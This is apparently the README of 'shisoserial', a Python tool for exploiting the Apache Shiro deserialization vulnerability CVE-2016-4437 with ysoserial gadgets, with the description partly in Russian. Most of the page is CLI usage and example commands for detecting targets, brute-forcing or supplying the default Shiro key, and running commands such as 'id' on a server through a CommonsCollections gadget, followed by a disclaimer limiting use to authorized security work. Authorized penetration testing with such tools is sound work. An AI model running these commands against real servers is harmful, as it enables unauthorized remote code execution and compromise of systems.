
Быстрый инструмент для эксплуатации уязвимости десериализации shiro (CVE-2016-4437)/A simple tool targeted at shiro framework attacks with ysoserial.
Быстрый инструмент для эксплуатации уязвимости десериализации Shiro (CVE-2016-4437)
4nth0ny @Лаборатория пятницы
Принимаются issues/PR
:)
python 3.x
JDK 1.8
python3 -m pip install -r requirements.txt
для AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM' или No module named 'Crypto'
python3 -m pip uninstall crypto pycryptodome
python3 -m pip install pycryptodome
usage: shisoserial.py [-h] --mode MODE --url [--type default:CBC] [--data] [--key] [--gadget] [--command default:whoami] [--proxies] [--ser] [--thread]
This is a simple tool to attack framework shiro with ysoserial
optional arguments:
-h, --help show this help message and exit
--mode MODE, -m MODE check/crack/yso/echo/encode
--url , -u Target URL address or the file containing the target URL
--type default:CBC, -t default:CBC
Cipher Type, GCM or CBC
--data , -d Using this parameter will make HTTP request with POST method
--key , -k Specify a Shiro Key or will use dictionary brute force cracking
--gadget , -g Specific Ysoserial Gadget
--command default:whoami, -c default:whoami
Specific Execute Command
--proxies , -p Specific Proxy
--ser , -s Specific serialize file name
--thread , -T Specific the number of threads
python3 shisoserial.py -m check -u http://127.0.0.1:8080

python3 shisoserial.py -m crack -u http://*.*.*.*:**** -t CBC -p ****://*.*.*.*:****/

python3 shisoserial.py -m echo -u http://127.0.0.1:8080 -g CommonsCollectionsK1 -c id

python3 shisoserial.py -m crack -u target_urls.txt -k kPH+bIxk5D2deZiIxcaaaA== -d username=1

python3 shisoserial.py -m encode -u target_urls.txt -t cbc -s 1.ser -T 4

Данный инструмент предназначен только для использования в корпоративной безопасности при наличии законного разрешения. При использовании данного инструмента вы должны убедиться, что все ваши действия соответствуют местным законам. Если вы совершаете какие-либо незаконные действия при использовании данного инструмента, вы несете полную ответственность за все последствия. Все разработчики и участники данного инструмента не несут никакой юридической или сопутствующей ответственности. Если вы не прочитали, полностью не поняли и не приняли все условия данного соглашения, пожалуйста, не устанавливайте и не используйте инструмент. Использование инструмента или любое другое явное или подразумеваемое выражение согласия с данным соглашением считается вашим согласием с его условиями.